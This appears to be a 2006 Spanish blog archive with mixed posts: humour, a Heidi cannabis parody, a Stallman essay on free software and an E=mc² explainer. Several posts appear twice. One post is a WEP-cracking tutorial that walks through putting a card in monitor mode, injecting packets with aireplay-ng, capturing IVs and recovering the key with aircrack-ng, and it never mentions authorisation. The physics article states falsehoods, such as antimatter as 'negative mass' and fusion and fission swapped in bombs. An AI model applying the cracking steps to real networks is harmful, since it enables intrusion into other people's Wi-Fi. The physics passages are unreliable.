Se debería empezar muriendo y así ese trauma está superado.
Luego te despiertas en una residencia mejorando día a día.
Después te echan de la residencia porque estás bien y lo primero
que haces es cobrar tu pensión. Luego en tu primer día de
trabajo te dan un reloj de oro. Trabajas 40 años hasta que seas
bastante joven como paradisfrutar del retiro de la vida laboral.
Entonces vas de fiesta en fiesta,
bebes, practicas el sexo y te preparas para empezar a estudiar.
Luego empiezas el cole, jugando con tus amigos, sin ningún tipo
de obligación, hasta que seas bebé.
Y los últimos 9 meses los pasas flotando tranquilo.
Con calefacción central, room service etc.
Y al final abandonas este mundo en un orgasmo!
jueves, diciembre 07, 2006
martes, diciembre 05, 2006
jueves, noviembre 30, 2006
martes, noviembre 28, 2006
miércoles, noviembre 22, 2006
Heidi fuma porros?
Es algo viejo, pero me parto!!!
Tras un meticuloso estudio de la letra del tema principal de Heidi, "Abuelito dime tú", llegamos a la siguiente conclusión:
Po zi.
A continuación podréis ver el desglose y análisis de las frases más famosas de la canción y entenderéis el porqué de nuestra seguridad en tan complicada empresa...
Analicemos esta bonita melodía:
'Abuelito, dime tú, qué sonidos son los que oigo yo'
Bien. Heidi es un personaje supuestamente joven, mientras que su Abuelito es, consecuente y visiblemente, mayor. El hecho de que Heidi pida información a su abuelo sobre los sonidos, cuando lo lógico sería que ella oyera bastante mejor que su pariente, puede implicar, básicamente, una de las dos circunstancias siguientes:
* Que Heidi
padeciera una enfermedad congénita en el oído, o bien hubiera sufrido un accidente que limitara su capacidad auditiva, que hacía que oyera peor que su abuelo, quien probablemente tenía una edad 10 veces mayor.
* Que sus sentidos, así como sus reflejos, estuvieran alterados por alguna razón.
' Abuelito, dime tú, por qué en una nube voy'
Esta segunda frase de la canción confirma una y sólo una de las posibilidades anteriores. En efecto, se confirma que el estado mental de Heidi estaba de algún modo alterado, hasta el punto que la pequeña Heidi podía tener alucinaciones, ver o sentir cosas no reales.
'Dime porqué huele el aire así'
Nuestro argumento adquiere más fuerza a medida que se avanza en la letra de esta canción. Heidi nota un extraño olor en
el aire, pero, debido a su estado, no acierta a identificarlo, aún siendo evidente el origen de este hedor, como veremos más adelante.
'Dime porqué yo soy tan feliz'
El estado de euforia injustificada de nuestra protagonista es evidente. El hecho de preguntar a una persona externa sobre su felicidad (cuando lo razonable sería que ella misma supiera el origen de tal alegría), refuerza la teoría de que Heidi estaba mentalmente excitada.
'Abuelito, nunca yo de ti me alejaré'
Viendo cuan feliz estaba la niña, afirma que quiere mantenerse en ese estado, y, para ello, es necesario permanecer cerca del abuelo.
CONCLUSIONES:
1. Heidi se encuentra en un estado de conciencia alterada.
2. El aire huele raro.
3. Siente una
felicidad absurda.
4. Manifiesta su dependencia de otro personaje.
La conclusión global pues, es la siguiente:
Heidi era una consumidora habitual de estupefacientes, más concretamente, fumadora de derivados del cannabis (Marihuana, Hachís), lo que le proporcionaba un estado artificial de alegría y euforia. Además, puede deducirse que su Abuelo, contrario a cualquier sentido de la protección por su nieta, le proporcionaba tales sustancias, ya fuera de manera gratuita u obteniendo con ello un beneficio de cualquier tipo.
Tras un meticuloso estudio de la letra del tema principal de Heidi, "Abuelito dime tú", llegamos a la siguiente conclusión:
Po zi.
A continuación podréis ver el desglose y análisis de las frases más famosas de la canción y entenderéis el porqué de nuestra seguridad en tan complicada empresa...
Analicemos esta bonita melodía:
'Abuelito, dime tú, qué sonidos son los que oigo yo'
Bien. Heidi es un personaje supuestamente joven, mientras que su Abuelito es, consecuente y visiblemente, mayor. El hecho de que Heidi pida información a su abuelo sobre los sonidos, cuando lo lógico sería que ella oyera bastante mejor que su pariente, puede implicar, básicamente, una de las dos circunstancias siguientes:
* Que Heidi
padeciera una enfermedad congénita en el oído, o bien hubiera sufrido un accidente que limitara su capacidad auditiva, que hacía que oyera peor que su abuelo, quien probablemente tenía una edad 10 veces mayor.
* Que sus sentidos, así como sus reflejos, estuvieran alterados por alguna razón.
' Abuelito, dime tú, por qué en una nube voy'
Esta segunda frase de la canción confirma una y sólo una de las posibilidades anteriores. En efecto, se confirma que el estado mental de Heidi estaba de algún modo alterado, hasta el punto que la pequeña Heidi podía tener alucinaciones, ver o sentir cosas no reales.
'Dime porqué huele el aire así'
Nuestro argumento adquiere más fuerza a medida que se avanza en la letra de esta canción. Heidi nota un extraño olor en
el aire, pero, debido a su estado, no acierta a identificarlo, aún siendo evidente el origen de este hedor, como veremos más adelante.
'Dime porqué yo soy tan feliz'
El estado de euforia injustificada de nuestra protagonista es evidente. El hecho de preguntar a una persona externa sobre su felicidad (cuando lo razonable sería que ella misma supiera el origen de tal alegría), refuerza la teoría de que Heidi estaba mentalmente excitada.
'Abuelito, nunca yo de ti me alejaré'
Viendo cuan feliz estaba la niña, afirma que quiere mantenerse en ese estado, y, para ello, es necesario permanecer cerca del abuelo.
CONCLUSIONES:
1. Heidi se encuentra en un estado de conciencia alterada.
2. El aire huele raro.
3. Siente una
felicidad absurda.
4. Manifiesta su dependencia de otro personaje.
La conclusión global pues, es la siguiente:
Heidi era una consumidora habitual de estupefacientes, más concretamente, fumadora de derivados del cannabis (Marihuana, Hachís), lo que le proporcionaba un estado artificial de alegría y euforia. Además, puede deducirse que su Abuelo, contrario a cualquier sentido de la protección por su nieta, le proporcionaba tales sustancias, ya fuera de manera gratuita u obteniendo con ello un beneficio de cualquier tipo.
miércoles, noviembre 08, 2006
wepcracking & Kubuntu 6.10 Edgy & 4306 & bcm43xx & amd64
(K,X)Ubuntu 6.10 Edgy utiliza el kernel 2.6.17 con soporte completo del modulo bcm43xx, el cual con el chip 4306, sirve para inyectar y monitorizar paquetes. Es importante hacer que funcione con este modulo, porque con Ndiwrapper no sirve.
Howto, para configurar el chip 4306 con el modulo bcm43xx:
https://help.ubuntu.com/community/WifiDocs/Driver/bcm43xx/Edgy
Ademas las versiones de Kismet y Aircrack-ng son compatibles con este modulo.
Una vez configurado el WIFI, tenemos que instalar la Suite Airckarck-ng y Kismet
sudo apt-get install aircrack-ng kismet
Debemos configurar Kismet para que funcione con bcm43xx, editaremos el archivo /etc/kismet/kismet.conf , buscaremos la linea source=none,none,none y la dejaremos así source=bcm43xx,eth1,broadcom .
Ahora que tenemos las herramientas, solo me queda aclarar unas cosas:
¿ESSID?: Es el nombre o identificador de las redes wifi
¿BSSID?: Es la dirección MAC de los puntos de acceso o routers inalámbricos
¿Cuantos paquetes necesito capturar?: Depende de la longitud de la clave WEP
<= 128 bits recomendables al menos 300.000 aunque yo espere hasta los 560.000 >= 128 bits a partir de 1.000.000
¿Donde veo los paquetes que llevo capturados?: En la consola que esta airodump-ng ejecutándose en la columna # Data
OK, comencemos:
0.1 -Paramos la tarjeta
sudo ifconfig eth1 down
0.2 -Establecemos a 1 M/s el ancho de banda, para tener muy buena visión y mucha distancia de alcance
sudo iwconfig eth1 rate 1M
1 -Ponemos la tarjeta en modo monitor
sudo airmon-ng eth1 start
1.1 -Hacemos un escaneo de redes en modo monitor y obtenemos ESSID, BSSID y el canal de la red que estamos probando, y terminamos de preparar la tarjeta.
sudo kismet
-Ahora abriremos dos consolas una para aireplay-ng y otra para airdodump-ng
2 -Comenzamos a inyectar paquetes
sudo aireplay-ng -CANAL -b BSSID -h DIRECCION-MAC-DE-bcm43xx eth1
3- Comenzamos a capturar paquetes IVs
sudo airodump-ng --ivs -c CANAL -w ESSID eth1
Una vez que tengamos la cantidad de paquetes deseados paramos aireplay-ng y airodump-ng y seguimos con el ultimo paso.
4- Obtenemos la clave
sudo aircrack-ng ESSID-01.ivs
Howto, para configurar el chip 4306 con el modulo bcm43xx:
https://help.ubuntu.com/community/WifiDocs/Driver/bcm43xx/Edgy
Ademas las versiones de Kismet y Aircrack-ng son compatibles con este modulo.
Una vez configurado el WIFI, tenemos que instalar la Suite Airckarck-ng y Kismet
sudo apt-get install aircrack-ng kismet
Debemos configurar Kismet para que funcione con bcm43xx, editaremos el archivo /etc/kismet/kismet.conf , buscaremos la linea source=none,none,none y la dejaremos así source=bcm43xx,eth1,broadcom .
Ahora que tenemos las herramientas, solo me queda aclarar unas cosas:
¿ESSID?: Es el nombre o identificador de las redes wifi
¿BSSID?: Es la dirección MAC de los puntos de acceso o routers inalámbricos
¿Cuantos paquetes necesito capturar?: Depende de la longitud de la clave WEP
<= 128 bits recomendables al menos 300.000 aunque yo espere hasta los 560.000 >= 128 bits a partir de 1.000.000
¿Donde veo los paquetes que llevo capturados?: En la consola que esta airodump-ng ejecutándose en la columna # Data
OK, comencemos:
0.1 -Paramos la tarjeta
sudo ifconfig eth1 down
0.2 -Establecemos a 1 M/s el ancho de banda, para tener muy buena visión y mucha distancia de alcance
sudo iwconfig eth1 rate 1M
1 -Ponemos la tarjeta en modo monitor
sudo airmon-ng eth1 start
1.1 -Hacemos un escaneo de redes en modo monitor y obtenemos ESSID, BSSID y el canal de la red que estamos probando, y terminamos de preparar la tarjeta.
sudo kismet
-Ahora abriremos dos consolas una para aireplay-ng y otra para airdodump-ng
2 -Comenzamos a inyectar paquetes
sudo aireplay-ng -CANAL -b BSSID -h DIRECCION-MAC-DE-bcm43xx eth1
3- Comenzamos a capturar paquetes IVs
sudo airodump-ng --ivs -c CANAL -w ESSID eth1
Una vez que tengamos la cantidad de paquetes deseados paramos aireplay-ng y airodump-ng y seguimos con el ultimo paso.
4- Obtenemos la clave
sudo aircrack-ng ESSID-01.ivs
Este proceso no deberia llevar mas de 1 o 2 minutos. En caso de que no saque la contraseña sera necesario capturar mas paquetes
jueves, septiembre 21, 2006
Las 20 respuestas que más utilizan los programadores cuando sus programas no funcionan
20. “Pues es raro…”
19. “Nunca había pasado antes.”
18. “Pues ayer funcionaba…”
17. “¿Cómo es posible?”
16. “Tiene que ser un problema de tu hardware.”
15. “¿Qué hiciste mal para lograr que fallara?”
14. “Algo debe de estar mal en tus datos.”
13. “¡Si no he tocado ese módulo en meses!”
12. “Debes de estar usando una versión anterior.”
11. “Es sólo una desafortunada coincidencia.”
10. “¡Es que no lo puedo probar todo!”
9. “ESTO, no puede ser la causa de ESO.”
8. “Funciona, pero no lo he probado.”
7. “¡Alguien debe de haber cambiado mi código!”
6. “¿Has comprobado que no haya algún virus en tu sistema?”
5. “Ya se que no funciona, ¿pero te gusta?”
4. “No puedes utilizar esa versión en tu sistema”
3. “¿Por qué quieres hacer eso?”
2. “¿Y tú dónde estabas cuando se colgó el programa?”
Y la respuesta número uno de los programadores con programas que no funcionan es:
1. “¡EN MI MÁQUINA SI FUNCIONA!”
http://www.miginside.com/freneticmig/?q=node/172
PD: ¿No te sientes identificado?, yo si LOL
miércoles, septiembre 06, 2006
Porqué "Software Libre" es mejor que software de "Código Fuente Abierto"
por Richard Stallman:
Algunos desarrolladores de software libre han comenzado a utilizar el término "software de código fuente abierto" en lugar de "software libre". Mientras que denominar al software libre por cualquier otro nombre daría la misma libertad, el nombre que se utilice marca una gran diferencia: palabras diferentes producen significados diferentes.
Este artículo describe porqué utilizar el término "fuente abierta" no soluciona ningún problema, y de hecho crea otros. Estas son las razones por las cuales es mejor permanecer con "software libre".
Restricciones Inaceptables
"Software de código fuente abierto" describe una categoría de licencias de software casi, pero no completamente, igual que "software libre". La gente quien decide el significado de "software de código fuente abierto" ha aceptado una licencia que tiene restricciones inaceptables: la Apple APSL .
Ambigüedad
El término "software libre" tiene un problema de ambigüedad para las personas de habla inglesa, un significado indeseado: "software que se puede obtener por un precio cero" y por otro lado un significado deseado: software que da al usuario ciertas libertades. Nosotros hemos direccionado este problema publicando una definición más precisa de software libre, pero ésta no es una solución perfecta porque no elimina completamente el problema. Un término correcto no ambiguo sería mejor.
Pero nadie ha encontrado una alternativa correcta no ambigua en Inglés para "software libre". (En algunos idiomas, tales como Francés, Español y Japonés, hay formas obvias de hacer esto). Todo reemplazo propuesto para "software libre" tiene un problema semántico de la misma clase, o peor --y esto incluye "software de código fuente abierto". "Software libre" tiene múltiples significados, no sólo el deseado; "software de código fuente abierto" tiene un sólo significado natural, pero no es el que se desea.
El significado obvio para "software de código fuente abierto" es "usted puede mirar el código fuente". Este es un criterio más pobre que "software libre". "Software de código fuente abierto" incluye software libre, pero también incluye programas semi-libres tales como Xv, e incluso algunos programas privativos, como Qt bajo su licencia inicial.
Ese significado obvio para "fuente abierta" no es el significado que se intenta abogar. (Su definición "oficial" está más apegada a "software libre"). El resultado es que la gente a menudo los mal entiende. Por supuesto, esto puede tratarse publicando una definición precisa para el término. La gente que utiliza "software de código fuente abierto" ha hecho esto, de la misma forma como nosotros lo hemos hecho para "software libre". Pero esta aproximación es sólo parcialmente efectiva en cualquiera de los casos. Por software libre, tenemos que enseñar a la gente lo que pensamos acerca de su significado en lugar de buscar otros términos que se ajusten de la misma manera a estas palabras. Por fuente abierta, tendríamos que enseñarles a utilizar un significado que realmente no se ajusta en absoluto.
Temor de Libertad
El argumento principal del término "software de código fuente abierto" es que "software libre" no es fácil para algunas personas. Esto es cierto: hablar sobre libertad, sobre tópicos éticos, sobre responsabilidades, así como también sobre conveniencia, es pedirle a la gente que piense sobre cosas que en cambio podrían olvidar. Esto puede producir malestar, y algunas personas pueden rechazar la idea por eso. Esto no está en concordancia con que la sociedad podría estar mejor si dejamos de hablar sobre estas cosas.
Años atrás, los desarrolladores de software notaron esta reacción de malestar, y algunos iniciaron a explorar un acercamiento para evitarlo. Se imaginaron que manteniendo silencio sobre ética y libertad, y hablando únicamente sobre los beneficios prácticos inmediatos de cierto software libre, podrían ser capaces de "vender" el software más efectivamente a ciertos usuarios, especialmente los negocios. El término "código fuente abierto" se ofrece como una forma más de hacer esto --una forma para ser "más aceptable en los negocios".
Esta aproximación ha probado ser efectiva en sus propios términos. Hoy mucha gente se ha cambiado al software libre por razones puramente prácticas. Esto es bueno, hasta el momento, ¡pero eso no es todo lo que necesitamos hacer!. Atraer a los usuarios al software libre no es todo el trabajo, sólo el primer paso.
Tarde o temprano a estos usuarios se los invitará a devolverse al software privativo por alguna ventaja práctica. Compañías incontables intentan ofrecer tal tentación, y, ¿porqué los usuarios declinarían?, lo harían únicamente si aprendieran por su propia razón el valor de la libertad que les da el software libre. Depende de nosotros difundir esta idea --y para eso tenemos que hablar de libertad. Una cierta cantidad del "mantén silencio" para acercarse a los negocios puede ser útil para la comunidad, pero también debemos tener bastante libertad de hablar.
Actualmente tenemos abundancia de "mantén silencio", pero no tenemos suficiente libertad de hablar. La mayoría de gente comprometida con el software libre dice poco acerca de la libertad --usualmente porque buscan tener "más aceptación en los negocios". Los distribuidores de software muestran especialmente este patrón. Algunos distribuidores de software GNU/Linux adicionan paquetes privativos al sistema básico libre, e invitan a los usuarios a considerar esto como una ventaja, en lugar de un retroceso en la libertad.
Estamos fallando en mantenernos con el influjo de los usuarios del software libre, estamos fallando en enseñar a la gente sobre la libertad y sobre nuestra comunidad tan pronto como ellos entran en ella. Esta es la razón por la cual software no libre tal como lo fue Qt, y distribuciones de sistemas operativos parcialmente libres, encuentran tierra fértil. Detener ahora el uso de la palabra "free" sería un error, necesitamos hablar más, no menos, sobre libertad.
Esperamos que aquellos quienes usan el término "fuente abierta" atraerán más usuarios en nuestra comunidad; pero si ellos lo hacen, el resto de nosotros tendrá un trabajo más duro para llevar el tema de la libertad a la atención de aquellos usuarios. Tenemos que decir "Es software libre y le da su libertad" --más y en forma más sonora como nunca antes.
¿Podría Ayudar una Marca Registrada?
Los defensores de "software de código fuente abierto" trataron de convertirlo en una marca registrada, diciendo que esto podría permitirles prevenir su mal uso. Se desistió del intento cuando se devolvió la solicitud en 1999, de tal forma que el estado de "software de código fuente abierto" es el mismo de "software libre": no hay restricción legal en usarlo.
¿Pero esto podría haber creado una gran diferencia al usar un término que es una marca registrada? No estoy convencido. Escucho informes de un número de compañías que llaman paquetes de software "de código fuente abierto" aún a pesar que no cumplen con la definición oficial; he observado algunos ejemplos por mi propia cuenta.
Las compañías también han hecho anuncios que dan la impresión que un programa es "software de código fuente abierto" sin decirlo explícitamente. Por ejemplo, un anuncio de IBM, sobre un programa que no cumple con la definición oficial dice esto:
Esto no dice en realidad que el programa fue "de código fuente abierto", pero muchos lectores no notan ese detalle. (Debería anotar que IBM estuvo tratando sinceramente de hacer de este programa software libre, y más tarde adoptaron una nueva licencia que lo hace software libre y "de código fuente abierto"; pero cuando se hizo el anuncio, el programa no calificaba de ninguna de las dos formas).
Y aquí es como Cygnus Solutions, la cual se formó para ser una compañía de software libre que fue diversificada subsecuentemente, por así decirlo, en software privativo, publicitó algunos productos de software privativo
A diferencia de IBM, Cygnus no estuvo tratando de hacer paquetes de software libre, y los paquetes no se acercaron a calificar. Si Cygnus actualmente no dice que esos sean programas de código fuente abierto, ellos sólo consignan una sentencia vaga para tratar de obtener la actitud favorable que viene con ese término.
Las personas también mal entienden frecuentemente el término. Aquí está la forma como el escritor Neal Stephenson definió "código fuente abierto":
No creo que él deliberadamente buscó rechazar o argüir con la definición "oficial". El simplemente aplicó las convenciones del idioma Inglés, y alcanzó la conclusión natural.
Estas observaciones sugieren que una marca registrada en verdad no podría haber solucionado los problemas con el término "fuente abierta".
Malentendidos de "Código Fuente Abierto"
La definición Fuente Abierta es suficientemente clara, y es completamente claro que un programa típico no libre no califica como tal. Entonces usted podría pensar que una "compañía de código fuente abierto" podría significar una cuyos productos son software libre, ¿correcto?. Desafortunadamente, muchas compañías están tratando de darle un significado diferente.
En la reunión del "Día de Desarrolladores de Código Fuente Abierto" en agosto de 1998, varios de los desarrolladores comerciales invitados dijeron que ellos solamente tenían en mente convertir una parte de su trabajo en software libre (o "de código fuente abierto"). El enfoque de sus negocios está en desarrollar accesorios privativos (software o manuales) para vender a los usuarios de este software libre. Ellos nos piden considerar esto como legítimo, como parte de nuestra comunidad, debido a que parte del dinero se dona al desarrollo de software libre.
En efecto, estas compañías buscan ganar el distintivo de "fuente abierta" para sus productos de software privativo --aún a pesar del hecho que no es "software de código fuente abierto" --porque tienen alguna relación con el software libre o porque la misma compañía también mantiene algún software libre. (Un fundador de una compañía dijo en forma completamente explícita que a ellos les gustaría colocar en los paquetes libres que ellos soportan, un poco de su trabajo ya que la comunidad lo podría apoyar).
Con el paso de los años muchas compañías han contribuido al desarrollo del software libre. Algunas de estas compañías desarrollaron en principio software no libre, pero las dos actividades se separaron; más, podríamos ignorar sus productos no libres, y trabajar con ellos en proyectos de software libre. Posteriormente podríamos agradecerles en forma honesta por sus contribuciones al software libre, sin mencionar sobre el resto de lo que hicieron.
No podemos hacer lo mismo con estas nuevas compañías, porque ellas no van con esto. Estas compañías tratan de contribuir al público en forma activa aglutinando todas sus actividades, ellos desean que nosotros consideremos su software no libre tan favorable como podríamos hacerlo con una contribución real, a pesar que no lo sea. Ellos mismos se presentan como "compañías de código fuente abierto", esperando que tengamos un sentimiento favorable hacia ellos y que estemos interesados en solicitarlo.
Esta práctica manipuladora podría ser no menos dañina si esto se hiciera utilizando el término "software libre". Pero parece que las compañías no usan el término "software libre" de esa manera; tal vez su asociación con el idealismo lo hace parecer inaplicable. El término "fuente abierta" abrió la puerta para esto.
En una exhibición pública de negocios a finales de 1998, dedicada al sistema operativo referido a menudo como "Linux", el presentador fue un ejecutivo de una prominente compañía de software. A el probablemente lo invitaron por cuenta de la decisión de su compañía de "apoyar" ese sistema. Desafortunadamente, su forma de "apoyo" consiste en sacar al mercado software no libre que trabaja con el sistema --en otras palabras, usando nuestra comunidad como un mercado pero sin contribuir a ello.
El dijo, "No hay forma de que nosotros hagamos nuestro producto de código fuente abierto, pero eventualmente lo haremos de código fuente abierto internamente. Si permitimos que nuestro personal de soporte al cliente tenga acceso al código fuente, podrían corregir errores para los clientes, y podríamos proporcionar un mejor producto y un mejor servicio". (Esto no es una cita exacta, porque no tomé nota de sus palabras, pero permite tomar la idea principal).
Personas del público me dijeron después, "El sólo no captó el punto", ¿pero si es así? ¿cuál punto no entendió?.
El no olvidó el punto usual asociado con el término "fuente abierta". Ese punto no dice nada sobre libertad, únicamente dice que se permite a la gente mirar el código fuente y ayudar a mejorarlo conduciendo a un desarrollo más rápido y mejor. El ejecutivo comprendió ese punto completamente, sin inclinarse por otras razones para llevar a cabo su formulación por completo, incluyendo a los usuarios, él considero implementarlo parcialmente, dentro de la compañía.
El punto que el olvidó es el punto que "fuente abierta" fue diseñado para no discutir: el punto que los usuarios merecen la libertad.
Difundir la idea de libertad es un gran trabajo --necesita su ayuda. El proyecto GNU continuará utilizando el término "software libre". Si usted siente que la libertad y la comunidad son importantes por su propia razón --no sólo porque les conviene --por favor únase a nosotros en el uso del término "software libre".
Relación entre el movimiento Software Libre y el movimiento Fuente Abierta
El movimiento Software Libre y el movimiento Fuente Abierta son por igual dos partes políticas dentro de nuestra comunidad.
Los grupos radicales son conocidos por parcialismo: las organizaciones se dividen por los desacuerdos sobre detalles de estrategia, y luego se detestan. Están de acuerdo en principios básicos, y en desacuerdo únicamente en recomendaciones prácticas; pero consideran a los otros como enemigos, y pelean ferozmente entre ellos.
Para el movimiento Software Libre y para el movimiento Fuente Abierta, esto es sólo ser contrarios en cada punto. Estamos en desacuerdo en los principios básicos, pero estamos de acuerdo en la mayoría de recomendaciones prácticas. Trabajamos juntos en muchos proyectos específicos.
En el movimiento del Software Libre, no pensamos del movimiento Fuente Abierta como un enemigo. El enemigo es el software privativo. !Pero deseamos que la gente en nuestra comunidad conozca que no somos lo mismo que ellos!.
De tal manera que, por favor, mencione el movimiento del Software Libre cuando hable sobre el trabajo que hemos hecho y el software que hemos desarrollado --tal como el sistema operativo GNU/Linux.
Mire también Otros Textos para Leer
Regresar a la Página Principal del Proyecto GNU.
Por favor envia tus comentarios y preguntas acerca de la FSF y el Proyecto GNU a: gnu@gnu.org. Hay también otras formas de contactar a la FSF.
Por favor envíe preguntas o inquietudes sobre estas páginas web a webmasters@www.gnu.org, envíe otras preguntas a gnu@gnu.org.
Copyright (C) 1998, 1999 Free Software Foundation, Inc., 51 Franklin St - Fifth Floor, Boston, MA 02110, USA
La copia exacta y distribución de este artículo está permitida en cualquier medio, siempre que se mantenga esta nota.
Actualizado:6 de noviembre de 1999 por jonas
Traductor: Pablo Chamorro C., Colombia, 21.nov.1999
Revisor: Steve Winston, USA, 10.dic1999
Revisor: Holman Romero, Colombia, 17.ene.2000
Coordinador: Hugo Gayosso, México
Fuente: http://www.gnu.org/philosophy/free-software-for-freedom.es.html
lunes, agosto 21, 2006
e=mc^2
Un didáctico artículo en el que se explica de manera sencilla el significado de la famosa fórmula de Einstein.
Refugio Antiaereo traduce el artículo:
Albert Einstein es quizás el científico más famoso del siglo XX. Una de sus teorías más conocidas es la fórmula E=mc2. A pesar de su familiaridad, mucha gente realmente no entiende lo que significa. ¡Espero que esta explicación ayude!
Una de los grandes descubrimientos de Einstein fue entender que la materia y la energía son formas distintas de la misma cosa. La materia se puede transformar en energía, y la energía en materia.
Por ejemplo, considera un átomo simple del hidrógeno, integrado básicamente por un solo protón. Esta partícula subatomica tiene una masa de 0.000 000 000 000 000 000 000 000 001 672 kilogramos. Esta es una masa minúscula. ¡Pero en cantidades normales de materia hay muchos átomos! Por ejemplo, en un kilogramo de agua pura, la masa de los átomos del hidrógeno asciende apenas a unos 111 gramos, o a 0.111 kilogramos.
La fórmula de Einstein nos dice la cantidad equivalente de energía de esta masa si se convirtiera repentinamente en energía. Para encontrar la energía, multiplica la masa por el cuadrado de la velocidad de la luz, este número que es 300.000.000 metros por el segundo (un número muy grande):
E=mc2 = 0.111 x 300.000.000 x 300.000.000 = 10.000.000.000.000.000 julios
¡Ésta es una cantidad increíble de energía! Un julio no es una unidad grande de la energía… Un julio es la enegía que se disipa cuando tiras un libro de texto al suelo. ¡Pero la cantidad de energía en 30 gramos de átomos del hidrógeno es equivalente a cientos de miles de litros de gasolina ardiendo!
¡Si consideras toda la energía de un kilogramo de agua, que también contiene los átomos de oxígeno, el equivalente en energía total está cerca de 10 millones de galones de gasolina! ¿Puede realmente liberarse toda esta energía ? ¿Ha existido siempre?
La única manera para que TODA esta energía sea liberada para un kilogramo de agua es destruirlo completamente. Este proceso implica la destrucción completa de la materia, y ocurre solamente cuando esa materia se enfrenta a una cantidad igual de antimateria, una sustancia integrada por “masa negativa”. La antimateria existe; es observable como partículas subatómicas en descomposición radiactiva, y se ha creado en el laboratorio. Pero es algo que dura poco (!), puesto que se destruye una cantidad igual de materia ordinaria tan pronto como la encuentra. Por esta razón, todavía no se ha hecho en cantidades normales, así que nuestro kilogramo de agua no se puede convertir en energía mezclándola con el “antiagua”. Por lo menos, no todavía.
Otro fenómeno peculiar de las partículas elementales pequeñas como los protones es que se combinan. Un solo protón forma el núcleo de un átomo del hidrógeno. Dos protones se encuentran en el núcleo de un átomo del helio. Así es cómo los elementos se forman, hasta llegar a la sustancia natural más pesada, el uranio, que tiene 92 protones en su núcleo.
Es posible conseguir que dos protones libres (núcleos del hidrógeno) se conviertan en el núcleo del helio. Para ello hay que lanzar los dos protones uno contra otro a una gran velocidad. Este proceso ocurre en el sol, pero también se puede conseguir en la tierra con los lasers, imanes, o en el centro de una bomba atómica. El proceso se llama fusión nuclear.
Lo interesante es que cuando los dos protones se fuerzan para combinar, no necesitan tanta energía (o masa). ¡Dos protones unidos tienen menos masa que dos protones separados!
Cuando los protones se unen, se desprende enrgía. Normalmente asciende a cerca del 7% de la masa total, una cantidad de energía calcualble con la fórmula E=mc2.
Los elementos más pesados que el hierro son inestables. ¡Algunos de ellos son muy inestables! ¡Esto significa que sus núcleos, integrados por muchos protones positivamente cargados, que se repelen, tienden a liberarse. A estos átomos se les denomina radioactivos.
El uranio, por ejemplo, es radiactivo. Cada segundo, muchos átomos en un pedazo de uranio está liberándose al exterior. Cuando sucede esto, los pedazos, que ahora son nuevos elementos (con pocos protones) son MENOS masivos en total que los átomos de uranio originales. ¡La masa adicional desaparece como energía, otra vez se puede calcualr con la fórmula! Este proceso se llama fisión nuclear.
Ambas reacciones nucleares transforman una porción pequeña de su masa en energía. ¡Cantidades grandes de energía! Esta energía es la que producimos. La fusión nuclear es la que activa una cabeza nuclear moderna. La fisión nuclear (menos desarrollada) es la que sucede en una bomba atómica (como las utilizadas en Japón en la IIGM), o en una planta de energía atómica.
Albert Einstein entendía hasta donde se podía llegar con el desarrollo de esta fórmula. Aunque él era pacífico por naturaleza y por la política, ayudó a escribir una carta al presidente de los Estados Unidos, impulsándole a financiar la investigación en el desarrollo de una bomba atómica antes de que los Nazis o Japón desarrollaran primero una. El resultado fue el proyecto de Mahattan, que produjo la primera evidencia tangible de la bomba atómica.
Fuente http://www.hispamp3.com/noticias/noticia.php?noticia=20060820100333
Refugio Antiaereo traduce el artículo:
Albert Einstein es quizás el científico más famoso del siglo XX. Una de sus teorías más conocidas es la fórmula E=mc2. A pesar de su familiaridad, mucha gente realmente no entiende lo que significa. ¡Espero que esta explicación ayude!
Una de los grandes descubrimientos de Einstein fue entender que la materia y la energía son formas distintas de la misma cosa. La materia se puede transformar en energía, y la energía en materia.
Por ejemplo, considera un átomo simple del hidrógeno, integrado básicamente por un solo protón. Esta partícula subatomica tiene una masa de 0.000 000 000 000 000 000 000 000 001 672 kilogramos. Esta es una masa minúscula. ¡Pero en cantidades normales de materia hay muchos átomos! Por ejemplo, en un kilogramo de agua pura, la masa de los átomos del hidrógeno asciende apenas a unos 111 gramos, o a 0.111 kilogramos.
La fórmula de Einstein nos dice la cantidad equivalente de energía de esta masa si se convirtiera repentinamente en energía. Para encontrar la energía, multiplica la masa por el cuadrado de la velocidad de la luz, este número que es 300.000.000 metros por el segundo (un número muy grande):
E=mc2 = 0.111 x 300.000.000 x 300.000.000 = 10.000.000.000.000.000 julios
¡Ésta es una cantidad increíble de energía! Un julio no es una unidad grande de la energía… Un julio es la enegía que se disipa cuando tiras un libro de texto al suelo. ¡Pero la cantidad de energía en 30 gramos de átomos del hidrógeno es equivalente a cientos de miles de litros de gasolina ardiendo!
¡Si consideras toda la energía de un kilogramo de agua, que también contiene los átomos de oxígeno, el equivalente en energía total está cerca de 10 millones de galones de gasolina! ¿Puede realmente liberarse toda esta energía ? ¿Ha existido siempre?
La única manera para que TODA esta energía sea liberada para un kilogramo de agua es destruirlo completamente. Este proceso implica la destrucción completa de la materia, y ocurre solamente cuando esa materia se enfrenta a una cantidad igual de antimateria, una sustancia integrada por “masa negativa”. La antimateria existe; es observable como partículas subatómicas en descomposición radiactiva, y se ha creado en el laboratorio. Pero es algo que dura poco (!), puesto que se destruye una cantidad igual de materia ordinaria tan pronto como la encuentra. Por esta razón, todavía no se ha hecho en cantidades normales, así que nuestro kilogramo de agua no se puede convertir en energía mezclándola con el “antiagua”. Por lo menos, no todavía.
Otro fenómeno peculiar de las partículas elementales pequeñas como los protones es que se combinan. Un solo protón forma el núcleo de un átomo del hidrógeno. Dos protones se encuentran en el núcleo de un átomo del helio. Así es cómo los elementos se forman, hasta llegar a la sustancia natural más pesada, el uranio, que tiene 92 protones en su núcleo.
Es posible conseguir que dos protones libres (núcleos del hidrógeno) se conviertan en el núcleo del helio. Para ello hay que lanzar los dos protones uno contra otro a una gran velocidad. Este proceso ocurre en el sol, pero también se puede conseguir en la tierra con los lasers, imanes, o en el centro de una bomba atómica. El proceso se llama fusión nuclear.
Lo interesante es que cuando los dos protones se fuerzan para combinar, no necesitan tanta energía (o masa). ¡Dos protones unidos tienen menos masa que dos protones separados!
Cuando los protones se unen, se desprende enrgía. Normalmente asciende a cerca del 7% de la masa total, una cantidad de energía calcualble con la fórmula E=mc2.
Los elementos más pesados que el hierro son inestables. ¡Algunos de ellos son muy inestables! ¡Esto significa que sus núcleos, integrados por muchos protones positivamente cargados, que se repelen, tienden a liberarse. A estos átomos se les denomina radioactivos.
